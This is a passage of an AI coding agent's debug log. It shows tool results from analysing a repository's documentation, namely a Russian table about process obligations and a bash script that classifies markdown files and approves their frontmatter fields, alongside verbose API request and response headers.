\u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n|---------------|-------------------|--------------------------|----------------------|----------------------|\\n| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 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\u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n...\\n\",\n[2026-09-29T07:46:37.540Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:37.540Z] [INFO]       }\n[2026-09-29T07:46:37.540Z] [INFO]     ]\n[2026-09-29T07:46:37.540Z] [INFO]   },\n[2026-09-29T07:46:37.540Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"uuid\": \"b526e1de-5e46-4030-828a-5a876dfffd1c\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:37.535Z\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:37.540Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:37.540Z] [INFO] }\n[2026-09-29T07:46:37.650Z] [STDOUT] [log_cf01f0] sending request {\n[2026-09-29T07:46:37.664Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:37.677Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:37.688Z] [STDOUT]   options: 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\"4a039067-21e9-404e-af49-ea48788e520f\",\n[2026-09-29T07:46:37.997Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:38.002Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:38.005Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:38.010Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:38.020Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:38.028Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:38.038Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:38.041Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:38.046Z] [STDOUT]   },\n[2026-09-29T07:46:38.051Z] [STDOUT] }\n[2026-09-29T07:46:38.057Z] [INFO] {\n[2026-09-29T07:46:38.057Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:38.057Z] [INFO]   \"message\": {\n[2026-09-29T07:46:38.057Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:38.057Z] [INFO]     \"content\": [\n[2026-09-29T07:46:38.057Z] [INFO]       {\n[2026-09-29T07:46:38.057Z] [INFO]         \"tool_use_id\": \"toolu_013uwtSUd2hzkhBMTPVq1SZs\",\n[2026-09-29T07:46:38.057Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:38.057Z] [INFO]         \"content\": \"      printf 'adr'\\n      ;;\\n    standards/*.md)\\n      printf 'standard'\\n      ;;\\n    .github/ISSUE_TEMPLATE/*.md | templates/*/.github/ISSUE_TEMPLATE/*.md)\\n      printf 'issue-template'\\n      ;;\\n    templates/*.md | templates/*/*.md | templates/*/*/*.md)\\n      printf 'template'\\n      ;;\\n    guides/*.md | docs/guides/*.md)\\n      printf 'guide'\\n      ;;\\n    practices/*.md | practices/*/*.md)\\n      printf 'practice'\\n      ;;\\n    *)\\n      printf 'default'\\n      ;;\\n  esac\\n}\\n\\nis_governance_class() {\\n  case \\\"$1\\\" in\\n    governance | rfc | adr | standard)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\nis_knowledge_class() {\\n  case \\\"$1\\\" in\\n    knowledge | audit)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\nis_approved_field() {\\n  local class=\\\"$1\\\"\\n  local key=\\\"$2\\\"\\n\\n  case \\\"$class:$key\\\" in\\n    *:status | *:version | *:updated | *:temperature)\\n      return 0\\n      ;;\\n    *:ai-generated)\\n      return 1\\n      ;;\\n    knowledge:owner | knowledge:type | knowledge:context | knowledge:method | knowledge:scope | \\\\\\n    knowledge:source | knowledge:source_id | knowledge:stage | knowledge:projects | \\\\\\n    knowledge:related_artifacts | knowledge:related_issues | knowledge:related_issue | \\\\\\n    knowledge:external_artifacts | knowledge:based_on | knowledge:report-subtype | \\\\\\n    knowledge:analysis-subtype | knowledge:supersedes)\\n      return 0\\n      ;;\\n    audit:owner | audit:type | audit:context | audit:method | audit:scope | \\\\\\n    audit:source | audit:source_id | audit:stage | audit:projects | \\\\\\n    audit:related_artifacts | audit:related_issues | audit:related_issue | \\\\\\n    audit:external_artifacts | audit:based_on | audit:audit_target | \\\\\\n    audit:evidence_model | audit:verdict | audit:severity_scale | \\\\\\n    audit:follow_up | audit:related_norm)\\n      return 0\\n      ;;\\n    governance:owner | governance:executable | governance:entrypoint)\\n      return 0\\n      ;;\\n    rfc:owner | rfc:rfc-scope | rfc:executable | rfc:entrypoint | \\\\\\n    rfc:type | rfc:context | rfc:method | rfc:scope | rfc:source | \\\\\\n    rfc:related_artifacts | rfc:related_issues)\\n      return 0\\n      ;;\\n    adr:owner | adr:decision-type | adr:executable | adr:entrypoint | \\\\\\n    adr:supersedes)\\n      return 0\\n      ;;\\n    standard:owner | standard:executable | standard:entrypoint | standard:scope | \\\\\\n    standard:level | standard:concept_type | standard:related_standards | \\\\\\n    standard:related_templates | standard:related_issues)\\n      return 0\\n      ;;\\n    issue-template:name | issue-template:about | issue-template:title | \\\\\\n    issue-template:labels | issue-template:assignees)\\n      return 0\\n      ;;\\n    template:executable | template:entrypoint | template:level | template:standard)\\n      return 0\\n      ;;\\n    guide:audience | guide:entrypoint | guide:executable)\\n      return 0\\n      ;;\\n    practice:source | practice:executable | practice:entrypoint)\\n      return 0\\n      ;;\\n    execution-package:name | execution-package:description | execution-package:product_class | \\\\\\n    execution-package:packs | execution-package:interaction | execution-package:inputs | \\\\\\n    execution-package:outputs | execution-package:contracts | execution-package:gates | \\\\\\n    execution-package:compiled_from | execution-package:derived_from | execution-package:compiled_at | \\\\\\n    execution-package:golden_id | execution-package:artifact_class | execution-package:origin | \\\\\\n    execution-package:confirmed_by | execution-package:priority | \\\\\\n    execution-package:disable-model-invocation)\\n      return 0\\n      ;;\\n    default:executable | default:entrypoint | default:source | default:based_on | \\\\\\n    default:author | default:session | default:self-report | default:scope | \\\\\\n    default:type | default:context | default:method | default:related_artifacts | \\\\\\n    default:related_issues)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\",\n[2026-09-29T07:46:38.057Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:38.057Z] [INFO]       }\n[2026-09-29T07:46:38.057Z] [INFO]     ]\n[2026-09-29T07:46:38.057Z] [INFO]   },\n[2026-09-29T07:46:38.057Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:38.057Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:38.057Z] [INFO]   \"uuid\": \"a062aac2-35bd-465a-a84c-cd810041de64\",\n[2026-09-29T07:46:38.057Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:37.715Z\",\n[2026-09-29T07:46:38.057Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:46:38.057Z] [INFO]     \"stdout\": \"      printf 'adr'\\n      ;;\\n    standards/*.md)\\n      printf 'standard'\\n      ;;\\n    .github/ISSUE_TEMPLATE/*.md | templates/*/.github/ISSUE_TEMPLATE/*.md)\\n      printf 'issue-template'\\n      ;;\\n    templates/*.md | templates/*/*.md | templates/*/*/*.md)\\n      printf 'template'\\n      ;;\\n    guides/*.md | docs/guides/*.md)\\n      printf 'guide'\\n      ;;\\n    practices/*.md | practices/*/*.md)\\n      printf 'practice'\\n      ;;\\n    *)\\n      printf 'default'\\n      ;;\\n  esac\\n}\\n\\nis_governance_class() {\\n  case \\\"$1\\\" in\\n    governance | rfc | adr | standard)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\nis_knowledge_class() {\\n  case \\\"$1\\\" in\\n    knowledge | audit)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\\n\\nis_approved_field() {\\n  local class=\\\"$1\\\"\\n  local key=\\\"$2\\\"\\n\\n  case \\\"$class:$key\\\" in\\n    *:status | *:version | *:updated | *:temperature)\\n      return 0\\n      ;;\\n    *:ai-generated)\\n      return 1\\n      ;;\\n    knowledge:owner | knowledge:type | knowledge:context | knowledge:method | knowledge:scope | \\\\\\n    knowledge:source | knowledge:source_id | knowledge:stage | knowledge:projects | \\\\\\n    knowledge:related_artifacts | knowledge:related_issues | knowledge:related_issue | \\\\\\n    knowledge:external_artifacts | knowledge:based_on | knowledge:report-subtype | \\\\\\n    knowledge:analysis-subtype | knowledge:supersedes)\\n      return 0\\n      ;;\\n    audit:owner | audit:type | audit:context | audit:method | audit:scope | \\\\\\n    audit:source | audit:source_id | audit:stage | audit:projects | \\\\\\n    audit:related_artifacts | audit:related_issues | audit:related_issue | \\\\\\n    audit:external_artifacts | audit:based_on | audit:audit_target | \\\\\\n    audit:evidence_model | audit:verdict | audit:severity_scale | \\\\\\n    audit:follow_up | audit:related_norm)\\n      return 0\\n      ;;\\n    governance:owner | governance:executable | governance:entrypoint)\\n      return 0\\n      ;;\\n    rfc:owner | rfc:rfc-scope | rfc:executable | rfc:entrypoint | \\\\\\n    rfc:type | rfc:context | rfc:method | rfc:scope | rfc:source | \\\\\\n    rfc:related_artifacts | rfc:related_issues)\\n      return 0\\n      ;;\\n    adr:owner | adr:decision-type | adr:executable | adr:entrypoint | \\\\\\n    adr:supersedes)\\n      return 0\\n      ;;\\n    standard:owner | standard:executable | standard:entrypoint | standard:scope | \\\\\\n    standard:level | standard:concept_type | standard:related_standards | \\\\\\n    standard:related_templates | standard:related_issues)\\n      return 0\\n      ;;\\n    issue-template:name | issue-template:about | issue-template:title | \\\\\\n    issue-template:labels | issue-template:assignees)\\n      return 0\\n      ;;\\n    template:executable | template:entrypoint | template:level | template:standard)\\n      return 0\\n      ;;\\n    guide:audience | guide:entrypoint | guide:executable)\\n      return 0\\n      ;;\\n    practice:source | practice:executable | practice:entrypoint)\\n      return 0\\n      ;;\\n    execution-package:name | execution-package:description | execution-package:product_class | \\\\\\n    execution-package:packs | execution-package:interaction | execution-package:inputs | \\\\\\n    execution-package:outputs | execution-package:contracts | execution-package:gates | \\\\\\n    execution-package:compiled_from | execution-package:derived_from | execution-package:compiled_at | \\\\\\n    execution-package:golden_id | execution-package:artifact_class | execution-package:origin | \\\\\\n    execution-package:confirmed_by | execution-package:priority | \\\\\\n    execution-package:disable-model-invocation)\\n      return 0\\n      ;;\\n    default:executable | default:entrypoint | default:source | default:based_on | \\\\\\n    default:author | default:session | default:self-report | default:scope | \\\\\\n    default:type | default:context | default:method | default:related_artifacts | \\\\\\n    default:related_issues)\\n      return 0\\n      ;;\\n    *)\\n      return 1\\n      ;;\\n  esac\\n}\",\n[2026-09-29T07:46:38.057Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:38.057Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:38.057Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:38.057Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:38.057Z] [INFO]   }\n[2026-09-29T07:46:38.057Z] [INFO] }\n[2026-09-29T07:46:38.064Z] [STDOUT] [log_2d2a14] sending request {\n[2026-09-29T07:46:38.069Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:38.073Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:38.077Z] [STDOUT]   options: {\n[2026-09-29T07:46:38.080Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:38.085Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:38.091Z] [STDOUT]     body: {\n[2026-09-29T07:46:38.093Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:38.098Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:38.103Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:38.108Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:38.112Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:38.118Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:38.123Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:38.127Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:38.130Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:38.133Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:38.136Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:38.139Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:38.141Z] [STDOUT]     },\n[2026-09-29T07:46:38.144Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:38.148Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:38.150Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:38.152Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:38.155Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:38.159Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:38.162Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:38.165Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:38.171Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:38.178Z] [STDOUT]     },\n[2026-09-29T07:46:38.182Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:38.185Z] [STDOUT]   },\n[2026-09-29T07:46:38.188Z] [STDOUT]   headers: {\n[2026-09-29T07:46:38.195Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:38.199Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:38.202Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:38.206Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:38.212Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:38.219Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:38.222Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:38.228Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:38.232Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:38.235Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1370\",\n[2026-09-29T07:46:38.239Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:38.243Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:38.248Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:38.253Z] [STDOUT]     \"x-client-request-id\": \"dc831722-44c3-443d-aa59-21336343b10a\",\n[2026-09-29T07:46:38.260Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:38.264Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:38.269Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:38.274Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:38.279Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:38.284Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:38.288Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:38.292Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:38.296Z] [STDOUT]   },\n[2026-09-29T07:46:38.300Z] [STDOUT] }\n[2026-09-29T07:46:38.605Z] [STDOUT] [log_2d2a14, request-id: \"req_011CfXMr98qGig1J9YzAzfeo\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 788ms\n[2026-09-29T07:46:38.608Z] [STDOUT] [log_2d2a14] response start {\n[2026-09-29T07:46:38.611Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:38.614Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:38.619Z] [STDOUT]   headers: {\n[2026-09-29T07:46:38.624Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:38.630Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:38.636Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:38.640Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:38.646Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:38.652Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:38.660Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:38.666Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:38.688Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:38.714Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:38.750Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:38.767Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:38.773Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:38.777Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:38.782Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:38.787Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:38.790Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:38.793Z] [STDOUT]     \"cf-ray\": \"a429600a681b01ff-CDG\",\n[2026-09-29T07:46:38.797Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:38.799Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:38.802Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:38.803Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:38.807Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:38 GMT\",\n[2026-09-29T07:46:38.810Z] [STDOUT]     \"request-id\": \"req_011CfXMr98qGig1J9YzAzfeo\",\n[2026-09-29T07:46:38.819Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:38.824Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:38.830Z] [STDOUT]     traceresponse: \"00-9e7f0e7dfaac37f6a5d5984630426622-8f1721e82bb8a77a-01\",\n[2026-09-29T07:46:38.834Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:38.838Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:38.841Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:38.847Z] [STDOUT]   },\n[2026-09-29T07:46:38.852Z] [STDOUT]   durationMs: 788,\n[2026-09-29T07:46:38.858Z] [STDOUT] }\n[2026-09-29T07:46:38.862Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:38.864Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:38 GMT\",\n[2026-09-29T07:46:38.867Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:38.873Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:38.878Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:38.891Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:38.898Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:38.901Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:38.905Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:38.919Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:38.926Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:38.929Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:38.933Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:38.937Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:38.946Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:38.961Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:38.966Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:38.971Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:38.980Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:38.989Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:38.994Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:38.999Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:39.006Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:39.021Z] [STDOUT]   \"request-id\": \"req_011CfXMr98qGig1J9YzAzfeo\",\n[2026-09-29T07:46:39.027Z] [STDOUT]   \"traceresponse\": \"00-9e7f0e7dfaac37f6a5d5984630426622-8f1721e82bb8a77a-01\",\n[2026-09-29T07:46:39.031Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:39.037Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:39.047Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:39.051Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:39.056Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:39.061Z] [STDOUT]   \"cf-ray\": \"a429600a681b01ff-CDG\",\n[2026-09-29T07:46:39.066Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:39.072Z] [STDOUT] [log_2d2a14] response parsed {\n[2026-09-29T07:46:39.078Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:39.084Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:39.088Z] [STDOUT]   body: X {\n[2026-09-29T07:46:39.093Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:39.099Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:39.106Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:39.111Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:39.125Z] [STDOUT]     },\n[2026-09-29T07:46:39.134Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:39.149Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:39.168Z] [STDOUT]     toReadableStream: 